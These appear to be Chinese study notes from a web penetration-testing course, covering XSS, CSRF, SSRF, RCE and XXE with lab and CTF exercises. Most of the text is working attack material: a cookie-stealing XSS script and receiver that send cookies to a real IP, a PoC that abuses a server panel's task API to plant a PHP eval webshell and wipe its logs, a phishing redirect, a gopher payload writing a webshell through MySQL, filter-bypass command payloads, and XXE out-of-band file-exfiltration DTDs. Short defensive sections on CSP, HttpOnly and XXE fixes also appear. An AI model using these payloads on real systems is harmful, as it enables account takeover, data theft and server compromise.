$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>
#XSS跨站-攻击利用-数据提交
条件:熟悉后台业务功能数据包,利用 JS写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时执行其他
<script src="http://xx.xxx.xxx/poc.js"></script>
function poc() {
$.get('/service/app/tasks.php?type=task_list', {}, function(data) {
var id = data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task', {
tid: id
}, function(res2) {
$.post('/service/app/log.php?type=clearlog', {}, function(res3) {
}, "json");
}, "json");
}, "json");
}
function save() {
var data = new Object();
data.task_id = "";
data.title = "test";
data.exec_cycle = "1";
data.week = "1";
data.day = "3";
data.hour = "14";
data.minute = "20";
data.shell = 'echo "<?php @eval($_POST[123]);?>" > C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell', data, function(res) {
poc();
}, "json");
}
save();
#xSS跨站-攻击利用-网络钓鱼
1、部署可访问的钓鱼页面并修改
2、植入xss代码等待受害者触发
3、将后门及正常文件捆绑打包免杀
<script>alert('当前浏览器Flash版本过低,请下载升级!');location.href='http://xxx.xxx.xxx'</script>
#xSS跨站-攻击利用-溯源综合
1、Xss数据平台-XSSReceiver
简单配置即可使用,无需数据库,无需其他组件支持
搭建:https://github.com/epoch99/BlueLotus_XSSReceiver-master
2、浏览器控制框架-beef-xss
只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用
搭建:docker run--rmp3000:3000 janes/beef
XSS 跨站-攻击利用-凭据盗取
使用小皮面板来进行操作,先管理员登录后台进去,可以看到操作日志

开一个新浏览器来进行xss
admin<script src=//xs.pe/mTP></script>
xs.pe/mTP是xss平台的配置代码


登录之后显示错误,再去看后台的操作日志,这里不清楚是版本问题(但是确实是v1.29版本的)还是什么不成功
得到cookie和后台登录网址,拿着cookie去修改然后直接访问后台网址就能登陆后台
XSS 跨站-攻击利用-数据提交
写一个poc的js文件,里面的操作就是在后台进行文件添加操作,这个方法是在知道目录结构的情况下执行的
function poc() {
$.get('/service/app/tasks.php?type=task_list', {}, function(data) {
var id = data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task', {
tid: id
}, function(res2) {
$.post('/service/app/log.php?type=clearlog', {}, function(res3) {
}, "json");
}, "json");
}, "json");
}
function save() {
var data = new Object();
data.task_id = "";
data.title = "test";
data.exec_cycle = "1";
data.week = "1";
data.day = "3";
data.hour = "14";
data.minute = "20";
data.shell = 'echo "<?php @eval($_POST[123]);?>" > D:/cyberspace/web_tools/Website/phpstudy_pro/WWW/pikachu/1.php';
$.post('/service/app/tasks.php?type=save_shell', data, function(res) {
poc();
}, "json");
}
save();
- 创建一个定时任务(task)
- 关键参数:
exec_cycle: "1"- 执行周期shell: 'echo "<?php @eval($_POST[123]);?>" > C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'
- 这个shell命令会在指定路径创建1.php文件,内容为PHP后门
- 这个POC针对的是有
/service/app/tasks.php这个接口的系统
这个poc文件放到自己控制的服务器上面,用js去登录框输入
<script src="服务器上的poc文件"></script>
后台操作日志,1.php文件被写入指定目录
XSS 跨站-攻击利用-网络钓鱼
1、部署可访问的钓鱼页面并修改
2、植入xss代码等待受害者触发
3、将后门及正常文件捆绑打包免杀
<script>alert('当前浏览器Flash版本过低,请下载升级!');location.href='http://xxx.xxx.xxx'</script>
这个也是先把这个js写入用户名之类的地方,然后一点就会弹窗提示要升级,跳转到指定页面,页面有一个下载按钮,下载按钮可以链接到后面文件之类的形成钓鱼
XSS 跨站-攻击利用-溯源综合
XSS数据平台-XSSReceiver
https://github.com/epoch99/BlueLotus_XSSReceiver-master

生成payload

用pikachu靶场的测试(存储型xss)

浏览器控制框架-beef-xss
docker run--rmp3000:3000 janes/beef
写文件
第55天:WEB攻防-XSS跨站&CSP策略&HttpOnly属性&Filter过滤器&标签闭合&事件触发
1. CSP (Content Security Policy 内容安全策略)
内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,
它的实现和执行全部由浏览器完成,开发者只需提供配置。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现 XSS,利于尽快修复问题。
实验:
开启 CSP 时 XSS 的加载情况
未开启 CSP 时 XSS 的加载情况
绕过:有但鸡肋
https://xz.aliyun.com/t/12370
https://blog.csdn.net/a1766855068/article/details/89370320
header("Content-Security-Policy:img-src 'self' ");
2. HttpOnly
禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。
PHP.INI 设置或代码引用
-session.cookie_httponly =1
-ini_set("session.cookie_httponly", 1);
-setcookie('', '', time() + 3600, '/xss', '', false, true);
实验:
开启 HttpOnly 时 XSS 窃取 Cookie 的加载情况
未开启 HttpOnly 时 XSS 窃取 Cookie 的加载情况
绕过:有但鸡肋
(1) CVE-2012-0053
(2) PHPINFO 页面/
(3) Flash/Java
https://blog.csdn.net/weixin_42478365/article/details/116597222
思路:不获取 Cookie 采用方式(钓鱼,浏览器攻击框架等)
3. XSS Filter
检查用户输入的数据中是否包含特殊字符, 如<、>、’、”,进行实体化等。
实验:手工分析&工具分析
Xss-Lab 标签及常见过滤绕过环境下载:https://github.com/Re13orn/xss-lab
参考资料:https://xz.aliyun.com/t/4067
工具资料:https://github.com/s0md3v/XSstrike
1、无任何过滤
<script>alert()</script>
黑盒 XSS 分析:
1、页面中显示的数据找可控的(有些隐藏的)
2、利用可控地方发送 JS 代码去看执行加载情况
3、成功执行即xSS,不能成功就看语句输出的地方显示(过滤)
4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)
XSS 跨站-安全防御-CSP
文章:Web安全2.3:CSP安全策略、Cookie、Session、同源策略、HTML DOM树_csp meta report url html-CSDN博客
限制外部链接
小皮搭建简易网站:
<meta charset="utf-8">
<?php
//只允许加载本地源图片:
header("Content-Security-Policy:img-src 'self' ");
?>
//允许加载所有源下的图片
<meta http-equiv="Content-Security-Policy" content="img-src*;">
//加载的是一张我随意百度的图片
<img src="https://ts1.tc.mm.bing.net/th/id/R-C.987f582c510be58755c4933cda68d525?rik=C0D21hJDYvXosw&riu=http%3a%2f%2fimg.pconline.com.cn%2fimages%2fupload%2fupc%2ftx%2fwallpaper%2f1305%2f16%2fc4%2f20990657_1368686545122.jpg&ehk=netN2qzcCVS4ALUQfDOwxAwFcy41oxC%2b0xTFvOYy5ds%3d&risl=&pid=ImgRaw&r=0"/>
header("Content-Security-Policy:img-src 'self' ");
未启用时可以加载远程图片

启用时只能加载本地图片

把xss语句放到代码里面

未启用时可以使用xss

启用时:

上节的xss代码:
<script>var url='http://47.94.236.117/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>
在自己的服务器写一个接收的:
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>
xss代码加到源代码测试:

需要给cookie.txt加上权限:sudo chmod 666 /var/www/html/myfiles/cookie.txt
执行后查看文件:

XSS 跨站-安全防御-HttpOnly
禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。
PHP.INI 设置或代码引用
-session.cookie_httponly =1
-ini_set("session.cookie_httponly", 1);
-setcookie('', '', time() + 3600, '/xss', '', false, true); #true就是启用httponly
限制cookie获取
观察是否启用httponly:查看应用程序的cookie,如果httponly是空的那么就是没有启用,如果有一个勾那么就是启用了

XSS 跨站-安全防御-XSSFilter
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏) - 知乎
一:无过滤


根据test的输入来显示,反射型xss,直接输入js语句
<script>alert()</script>

二:闭合
尝试在输入框直接输入js语句

没有弹窗,选中部分检查

右键编辑为html代码

<被实体化成<了,检查输入框的语句,这里看小迪的检查是没有实体化的,是:
<input name="keyword" value="<script>alert()</script>">
但是我自己尝试的话还是显示实体化,照着小迪去加上双引号和尖括号闭合也是能通过
"> <script>alert()</script> <"
三:on
尝试上一题的也不行了,两个地方都是实体化,尝试单引号也不行(虽然前端看到的是双引号闭合,但是不代表源代码就一定是双引号,不管源代码是单引号还是双引号前端页面显示的都是双引号)
利用事件来绕过
' onfocus=javascript:alert() '
尖括号不能用那就不要,在代码中添加事件来出发js代码

再次点击一下就过关了
四:on
和第三关一样,这个是双引号
" onfocus=javascript:alert() "
五:href
用上一题的会发现on中间有下划线

那就不用on事件,换javascript伪协议,先闭合
"> <a href="javascript:alert(`xss`);">xss</a> <"

点击蓝色xss弹窗
六:大小写匹配
大小写匹配,改一下就好了
"> <ScRiPt>alert()</ScRiPt> <"
七:双拼写
尝试大小写

被过滤了,伪协议也不行,这里使用双拼写来过滤
" ><sscriptcript>alert()</sscriptcript>< "
八:Unicode
直接用大写去会发现强制转小写了,并且script被过滤

使用unicode编码,把javascript:alert()转换成unicode
javascript:alert()
九:http://
查看源码

- 这个检查要求最终的
$str7字符串中必须包含http:// - 如果不包含,就显示一个固定的安全链接
- 如果包含,才会把你的输入作为
href属性值输出
浏览器在解析href属性时:
- 遇到
javascript:协议会执行后面的代码 http://被当作字符串处理,不会影响前面的JavaScript执行- 相当于执行了:
alert(1)http://,其中http://是一个未使用的字符串标签
就是在javascript:alert()后面加上http://
javascript:alert()/* <http://> */
XSStrike
网络安全-XSStrike中文手册(自学笔记)-CSDN博客
第56天:WEB攻防-CSRF请求伪造&Referer同源&置空&配合XSS&Token值校验&复用删除
#CSRF-无检测防护-检测&生成&利用
检测:黑盒手工利用测试,白盒看代码检验(有无 token,来源检验等)
生成:BurpSuite->Engagement tools->Generate CSRF Poc
利用:将文件防止自己的站点下,诱使受害者访问(或配合 XSS 触发访问)
#CSRF-Referer 同源-规则&上传&XSS
https://blog.csdn.net/weixin_50464560/article/details/120581841 严谨代码 PHP DEMO:
<?php
// 检测来源
function checkReferrer() {
$expectedReferrer = "http://example.com"; // 期望的来源页面
if (!isset($_SERVER['HTTP_REFERER']) ||
$_SERVER['HTTP_REFERER'] !== $expectedReferrer) {
die("非法访问");
}
}
// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 检测来源
checkReferrer();
// 获取用户输入的数据
$name = $_POST['name'];
$email = $_POST['email'];
// 输出用户输入的数据
echo "姓名:$name<br>";
echo "邮箱:$email<br>";
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>检测来源示例</title>
</head>
<body>
绕过0:规则匹配绕过问题(代码逻辑不严谨)
1、<meta name="referrer" content="no-referrer">
2、http://xx.xx.xx.xx/http://xx.xx.xx.xx
绕过1:配合文件上传绕过(严谨使用同源绕过)
绕过 2:配合存储xsS绕过(严谨使用同源绕过)



CSRF-无检测防护-检测&生成&利用

条件:
1、需要请求伪造数据包
2、无过滤防护 有过滤防护能绕过
3、受害者需要触发(诱惑)
过程:
1. 获取数据包(侦察阶段)
黑客分析目标网站(如支付宝)的请求格式
了解参数结构:URL、参数名、参数格式等
2. 制作恶意页面(武器制作)
根据数据包格式编写恶意代码
隐藏在各种看似正常的网页中
3. 诱导受害者访问(投放诱饵)
通过邮件、社交工程、广告等方式诱骗
让受害者点击链接访问恶意页面
4. 触发攻击(收网)
受害者一访问就立即执行
浏览器自动发送伪造请求
利用受害者的登录状态完成恶意操作
获取管理员增加管理员的数据包

生成CSRF Poc

将html代码放到自己的服务器上面保证可以访问它,需要把用户名和密码改成在浏览器设置的不一样的

在同一个浏览器(因为要保证cookie在浏览器里面,也就是浏览器知道是管理员)去访问这个html页面

观察后台

添加成功
CSRF-Referer 同源-规则&上传&XSS
用zblogs测试,也是添加用户,一样的操作,访问html页面时显示:

这里的过滤就分:
1、基于严谨的检测绕过
2、基于不严谨的检测绕过
查看zblogs那个生成的页面请求的路径:

查看源代码,搜关键词MemberPst,act


这个CheckIsRefererValid()函数看名字大概就知道是检查来源是否正确,就是获取那个HTTP_REFERER,用一个小示例说明

把文件访问路径放到之前生成的页面里面

访问页面并抓包,可以看到referer是http://8.135.236.28/,这个是服务器的,因为和代码的不一样所以会else执行

修改为目标的就能输出binggo
这个和之前被拦截的道理就一样了,我们需要修改来源为那个网站的,可以先抓一个添加用户的数据包

访问页面抓包修改
Referer: http://zblogs:7348/zb_system/admin/member_edit.php?act=MemberNew


这里referer试过改成host但是一直不成功
代码加上留空
<meta name="referrer" content="no-referrer">

抓包查看

直接没有referrer了

代码逻辑也能看到,即使为空也返回true
CSRF-Token 校验-值删除&复用&留空
抓csrf要提交的数据包:
csrf 5bfa40785d4320040db536392eb210aedd77a867fbbeb84ce6f2de26b9ecf9f
别人触发:
对方浏览器token已经更新了 对比不上 代码判断为失效 失败
5b0fa40785d4320040db536392eb210aedd77a867fbbeb84ce6f2de26b9ecf9f
对方浏览器token已经更新了
三种方法:
复用 尝试使用之前的token
删除 token=那一行全删除
道空 只保留token=
第57天:WEB攻防-SSRF服务端请求&Gopher伪协议&无回显利用&黑白盒挖掘&业务功能点
1、SSRF漏洞原理
SSRF(Server-Side Request Forgery:服务器端请求伪造)
一种由攻击者构造形成由服务端发起请求的一个安全漏洞;
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
2、SSRF 漏洞挖掘
黑盒探针:
-业务功能点
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下载图片
5.图片/文章收藏功能:主要其会取 URL 地址中 title 以及文本的内容作为显示以求一
个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行 ssrf 测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的 url 进行一些信息采集工作
8.数据库内置功能:数据库的比如 mongodb 的 copyDatabase 函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如 ffpmg,ImageMagick,docx,pdf,xml 处理器等
11.未公开的 api 实现以及其他扩展调用 URL 的功能:可以利用 google 语法加上这些关键字去寻找 SSRF 漏洞
-URL 关键参数
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
白盒分析:见代码审计(文件读取,加载,数据操作类函数)
3、SSRF伪协议利用
http:// web常见访问,如http://127.0.0.1
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
4、SSRF 绕过方式
-限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxyy.com
-限制请求 IP 不为内网地址
当不允许 ip 为内网地址时:
(1)采取短网址绕过
(2)采取域名解析
(3)采取进制转换
(4)采取3xX重定向
5、SSRF 漏洞防御
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网 ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许 http和https 请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。




SSRF-原理&挖掘&利用&修复
简单理解:比如百度搜图,网站会访问你所输入的地址,输入的是127.0.0.1那么就会访问百度自己的
本地测试


就是利用网站去访问自己1内部的网站
在有回显的地方,可以做端口扫描,开放的端口就有回显,没开放的就没有,以此判断
内网探针,
file协议读取文件
白盒 CTF-绕过&伪协议&审计点
绕过
进制转换
遇到不能输入localhost和127.0.0.1时采用


http://127.0.0.1也可以写成http://0或者http://0.1
短网址

域名解析
在自己的域名下面加一个test的指向127.0.0.1
重定向
<?php
header("Location:http://127.0.0.1/flag.php");
先读取外部服务器的文件,文件里面的内容是到本地,相当于转一个弯
匹配且不影响写法解析
url=http://ctf.@127.0.0.1/flag.php?show
伪协议
http:// web常见访问,如http://127.0.0.1
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
gopher
web的漏洞
http://192.168.1.4:82/sqli/new.php?id=1
1.4 好比内网的一个ip上面有个sq1注入漏洞
ssrf探针到了
利用ssrf去利用这个SQL漏洞
如果不是web的漏洞,那么就不能用http去访问了,使用工具gopherus(由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等) 应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:opherus)


python2 gopherus.py --exploit mysql
攻击的是mysql
用户名root,要执行的是把一句话木马写到x.php里面
select "<?php eval($_POST[x]);?>" into outfile "/var/www/html/x.php"
得到的ssrf的payload就是
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%78%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%78%2e%70%68%70%22%01%00%00%00%01
gopher伪协议,后面的%a3%00%一大部分还需要进行编码一次使用
没有回显
外带数据(dnslog)


NC监听端口,目标来请求
python -m http.server


为什么用外网地址检测?
1. 证明“服务器确实发出了请求”
当我们让服务器访问 http://your-dnslog.com:
如果收到了DNS查询 → 证明服务器进程确实解析了这个域名
这排除了“客户端浏览器”发出请求的可能性
确认了“服务器端请求伪造”的能力存在
2. 建立“控制链”
一旦证明服务器会访问我们控制的外部地址,我们就建立了:
观察点:通过DNSLog可以看到请求详情
中继点:可以让服务器从外部地址获取恶意payload
黑盒 WEB-业务功能&URL 关键字
翻译
导出
<iframe src="h44xo0.dnslog.cn">
<iframe src="http://h44xo0.dnslog.cn">

第58天:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘
-RCE 代码执行:引用脚本代码解析执行
-RCE 命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
PHP 代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、
uasort()、等
PHP 命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
2.Python:
eval exec subprocess os.system commands
3.Java:
Java 中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL
等.
代码执行:
脚本——java,php,python
产生——Web 源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF 产品
命令执行:
系统——Linux、Windows
产生——web 源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF 产品
#RCE-利用&绕过&异或&回显
1、伪协议玩法
配合文件包含伪协议(代码执行)
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php
(1)关键字过滤:
1、过滤 flag 关键字
通配符
flag=fl*
cat fl*
cat ?la*
2、转义符号
ca\t /fl\ag
cat fl''ag
使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
cas@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag
3、拼接法
a=fl;b=ag;cat$IFS$a$b
4、反引号绕过:
cat `ls`
反引号相当于命令替换,会先执行反引号内的命令,然后用命令的输出结果替换整个反引号部分
5、编码绕过:
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
6、组合绝活
touch "ag"
touch "fl\\"
touch "t\"
touch "ca\\"
ls -t > shell
sh shell
# \指的是换行
# 1s -t是将文本按时间排序输出
# sh 将文本中的文字读取出来执行
7、异或无符号(过滤0-9a-zA-Z)
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
(2)过滤函数关键字
1、内敛执行绕过(system)
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
2、过滤执行命令(如cat tac等)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag 反
3、过滤空格
%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b (IFS就是空格)
{cat,flag}
(3)无回显利用
1、直接写个文件访问查看
2、直接进行对外访问接受
#白盒-CTF-RCE代码命令执行
29-通配符
system('tac fla*.php');
30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`;
echo shell_exec('tac fla*.ph*');
31-参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>
#黑盒-运行-RCE代码命令执行
代码在线运行平台测试
反弹shell
RCE-利用&绕过&异或&回显
代码执行


code接收,将phpinfo();当作当前语言代码执行
产生条件:可控变量code,出发函数eval

和eval等价,就是说以下这些函数都是可以触发的
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、
uasort()、等
命令执行


cmd接收,把ver当作系统命令去执行
产生条件:可控变量cmd,出发函数system
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
转换
代码执行有转换成命令执行,比如接收的code可以写成system("ver");

命令执行也可以转换成代码执行,比如到php里面去执行
echo "<?php phpinfo();?>" > 1.php
php 1.php
危害
webshell
代码执行直接写后门用webshell连接
http://demo01:6767/RCE/RCE.php?code=eval($_POST[%27pass%27]);


命令执行可以用反弹shell或者文件下载等等
白盒-CTF-RCE 代码命令执行
异或无符号(过滤0-9a-zA-Z)
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
rce-xor.php:
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
运行得到res.txt
rce-xor.py:
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("res.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
运行之后输入想要执行的命令就ok
rce-xor-or.php:
<?php
$myfile = fopen("res_xor.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
rce-xor-or.py:
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("res_xor.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
黑盒-运行-RCE 代码命令执行
代码在线运行平台测试


反弹shell
利用棱角社区生成命令

第59天:WEB攻防-XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害。
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析
#### -XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
#### -XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
看:传输xml的格式+对xml的解析
#### XXE修复防御方案:
-方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
### #XML&XXE-传输-原理&探针&利用&玩法
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM "file:///d:/1.txt"> 创建test,读取1.txt
]>
<user><username>&test;</username><password>xiaodi</password></user>
1.1、带外测试:分析有无回显
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>
2、外部引用实体dtd:相当于引入外部的代码库,享用库里面的函数。xxe注入的利用方式
payload:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/xiaodi.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>
远程库:
xiaodi.dtd
<!ENTITY send SYSTEM "file:///d:/1.txt">
3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> 远程访问test.dtd,
%remote;
%all; 执行all里面的字符串,访问下面加上了上面file读取的内容这个路径`]>
<root>&send;</root> 引用标签,执行send
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>"> 创建all,一个字符串(将里面的地址改为内网地址,访问内网)
get.php 将file(读取的内容)赋值给data,再写入file.txt
<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
4、其他玩法(协议)-见参考地址
https://www.cnblogs.com/20175211lyz/p/11413335.html
#XML&XXE-黑盒-JS&黑盒测试&类型修改 http://web.jarvisoj.com:9882/
XXE黑盒发现:
1、获取Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
流程:功能分析-前端提交-源码&抓包-构造Paylod测试
